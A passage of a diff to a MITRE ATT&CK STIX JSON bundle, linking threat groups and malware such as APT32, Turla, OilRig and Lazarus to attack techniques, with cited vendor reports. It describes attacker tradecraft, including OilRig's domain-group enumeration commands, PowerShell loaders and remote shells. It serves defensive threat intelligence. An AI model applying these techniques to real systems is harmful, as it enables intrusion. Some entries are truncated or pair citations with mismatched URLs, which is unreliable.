"object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4696a49d-caa1-4746-b106-45faf327270b", + "external_references": [ + { + "source_name": "ClearSky Wilted Tulip July 2017", + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. 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OceanLotus Blossoms: Mass Digital Surveillance and Attacks Targeting ASEAN, Asian Nations, the Media, Human Rights Groups, and Civil Society. Retrieved November 6, 2017.", + "url": "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/" + } + ], + "modified": "2019-07-17T13:11:37.742Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "A Destover-like variant used by [Lazarus Group](https://attack.mitre.org/groups/G0032) uses a batch file mechanism to delete its binaries from the system.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--836a705a-3832-4c13-8902-608fd7b1c36f", + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. 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Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) malware has used .vbs scripts for execution.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--675f24e0-c445-4eb3-a191-16fb181f6e30", + "external_references": [ + { + "source_name": "Unit 42 Magic Hound Feb 2017", + "description": "Lee, B. and Falcone, R. (2017, February 15). Magic Hound Campaign Attacks Saudi Targets. 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Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "relationship_type": "uses", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) hooks processes by modifying IAT pointers to CreateWindowEx.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3b4f48d3-eb5d-4d7e-9f0b-86f68951207d", + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). 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Retrieved September 13, 2018.", + "url": "https://www.justice.gov/file/1080281/download" + } + ], + "modified": "2019-07-27T00:09:35.769Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-14T21:15:55.424Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.063Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--614c18a5-2cee-48ac-898d-e1b85a91e44d", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. 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Retrieved July 13, 2017.", + "url": "https://www.secureworks.com/research/bronze-union" + } + ], + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "malware--a60657fa-e2e7-4f8f-8128-a882534ae8c5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used CVE-2016-7255 to escalate privileges.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e0033e57-8839-42b9-8515-46e9c7dca966", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. 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Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.273Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has collected .PST archives.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b6336d7c-e869-4491-9e8a-5ea5847a58ae", + "external_references": [ + { + "source_name": "FireEye APT35 2018", + "description": "Mandiant. (2018). Mandiant M-Trends 2018. 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(2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "modified": "2019-01-31T18:48:52.059Z", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "relationship_type": "uses", + "target_ref": "attack-pattern--246fd3c7-f5e3-466d-8787-4c13d9e3b61c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[InvisiMole](https://attack.mitre.org/software/S0260) uses a variation of the XOR cipher to encrypt files before exfiltration.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--afd03a56-6d2b-4b00-895a-012f5d348898", + "external_references": [ + { + "source_name": "ESET InvisiMole June 2018", + "description": "Hromcov\u00e1, Z. (2018, June 07). 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McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:44.139Z", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT28](https://attack.mitre.org/groups/G0007) attempted to get users to click on Microsoft Office attachments containing malicious macro scripts.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ac65e484-b59a-40e1-984e-02dc4b62b6f0", + "external_references": [ + { + "source_name": "Unit 42 Sofacy Feb 2018", + "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + } + ], + "modified": "2019-07-27T00:09:35.792Z", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) collects the computer name, the BIOS model, and execution path.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3ee8862f-2595-462e-8df8-aab639314b65", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.913Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Brave Prince](https://attack.mitre.org/software/S0252) gathers information about the Registry.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ab08048c-4d1f-4214-9f53-1e87f6a20988", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--28b97733-ef07-4414-aaa5-df50b2d30cc5", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:12:37.074Z", + "type": "relationship", + "id": "relationship--b41c70df-0955-408c-90ee-7acad8b080e1", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-01-16T16:13:52.465Z", + "source_ref": "course-of-action--62ae52c9-7197-4f5b-be1d-10d2e1df2c96", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has utilized [Valid Accounts](https://attack.mitre.org/techniques/T1078) during and.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--060e7485-d2a9-4aa2-a742-58f7e4e6086a", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.580Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.515Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2d20e20c-7f01-4834-88de-030ca09ee540", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used VBScript and JavaScript files to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload. [MuddyWater](https://attack.mitre.org/groups/G0069) has also used Microsoft scriptlets, macros, and PowerShell scripts.[", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--0da404e8-5eb7-49a3-93db-85d334212a72", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + }, + { + "source_name": "MuddyWater TrendMicro June 2018", + "description": "Villanueva, M., Co, M. (2018, June 14). Another Potential MuddyWater Campaign uses Powershell-based PRB-Backdoor. Retrieved July 3, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/another-potential-muddywater-campaign-uses-powershell-based-prb-backdoor/" + }, + { + "source_name": "Securelist MuddyWater Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.", + "url": "https://securelist.com/muddywater/88059/" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "modified": "2019-06-28T15:30:58.429Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-26T19:55:06.530Z", + "type": "relationship", + "id": "relationship--d2a028a0-3c4f-4984-be51-80dbcf93a1a9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.024Z", + "source_ref": "course-of-action--92e6d080-ca3f-4f95-bc45-172a32c4e502", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used Putty to access compromised systems.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bd83109f-198a-43b0-a4c9-c13dd671c2da", + "external_references": [ + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + } + ], + "modified": "2019-07-17T16:17:29.741Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT37](https://attack.mitre.org/groups/G0067) identifies the victim username.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--4b253464-5a8b-4129-ab1b-ab888314f900", + "external_references": [ + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "modified": "2019-07-08T14:33:15.911Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT1](https://attack.mitre.org/groups/G0006) has used batch scripting to automate execution of commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ea40711b-461d-4629-b1fd-5f020b1f3257", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "modified": "2019-03-22T12:40:51.732Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:09:34.803Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--70dc6b5c-c524-429e-a6ab-0dd40f0482c1", + "external_references": [ + { + "source_name": "ThreatConnect Anthem", + "description": "ThreatConnect Research Team. (2015, February 27). The Anthem Hack: All Roads Lead to China. Retrieved January 26, 2016.", + "url": "https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/" + } + ], + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "relationship_type": "uses", + "target_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used [at](https://attack.mitre.org/software/S0110) and [schtasks](https://attack.mitre.org/software/S0111) to register a scheduled task to execute malware during lateral movement.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9ef58dda-688d-4461-b5fc-25f2ba3a9c54", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.101Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails containing malicious attachments or links that require users to execute a file or macro to infect the victim machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5b078c2e-229d-4ef0-8e46-2164354caee9", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "Unit 42 Cobalt Gang Oct 2018", + "description": "Unit 42. (2018, October 25). New Techniques to Uncover and Attribute Financial actors Commodity Builders and Infrastructure Revealed. Retrieved December 11, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-new-techniques-uncover-attribute-cobalt-gang-commodity-builders-infrastructure-revealed/" + } + ], + "modified": "2019-07-26T23:38:33.427Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-06-28T14:59:17.851Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9c8fa95a-cbbe-4ef6-999d-21b4080b54f6", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Mivast](https://attack.mitre.org/software/S0080) has the capability to open a remote shell and run basic commands.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8a90328-b7ee-474a-9773-f5bf501defd3", + "external_references": [ + { + "source_name": "Symantec Backdoor.Mivast", + "description": "Stama, D.. (2015, February 6). Backdoor.Mivast. Retrieved February 15, 2016.", + "url": "http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fbb470da-1d44-4f29-bbb3-9efbe20f94a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:14:34.123Z", + "type": "relationship", + "id": "relationship--eb2689d1-4061-4f8c-aa95-894bf75ecfe4", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2018-04-18T17:59:24.739Z", + "source_ref": "course-of-action--7a4d0054-53cd-476f-88af-955dddc80ee0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used net group /domain, net localgroup administrators, net group \u201cdomain admins\u201d /domain, and net group \u201cExchange Trusted Subsystem\u201d /domain to find group permission settings on a victim.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d39e3775-9221-4020-b826-edc111e36c7c", + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + } + ], + "modified": "2019-07-17T16:17:29.726Z", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "relationship_type": "uses", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used PowerShell-based tools, PowerShell one-liners, and shellcode loaders for execution.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--5f00edf9-fcfc-4514-8d06-bc69f91f9260", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + } + ], + "modified": "2019-07-17T13:11:37.786Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used PowerShell to execute commands/scripts, in some cases via a custom executable or code from [Empire](https://attack.mitre.org/software/S0363)'s PSInject. [Turla](https://attack.mitre.org/groups/G0010) has also used PowerShell scripts to load and execute malware in memory.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ada9885f-276a-4f97-859d-1bb9f73b58c1", + "external_references": [ + { + "source_name": "ESET Turla Mosquito May 2018", + "description": "ESET Research. (2018, May 22). Turla Mosquito: A shift towards more generic tools. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/2018/05/22/turla-mosquito-shift-towards-generic-tools/" + }, + { + "source_name": "ESET Turla PowerShell May 2019", + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/" + }, + { + "source_name": "Symantec Waterbug Jun 2019", + "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.", + "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments" + } + ], + "modified": "2019-07-14T21:04:44.769Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:34:04.651Z", + "type": "relationship", + "id": "relationship--91af9744-413c-4e9c-bfdb-a9ca167e9bb5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.028Z", + "source_ref": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97", + "relationship_type": 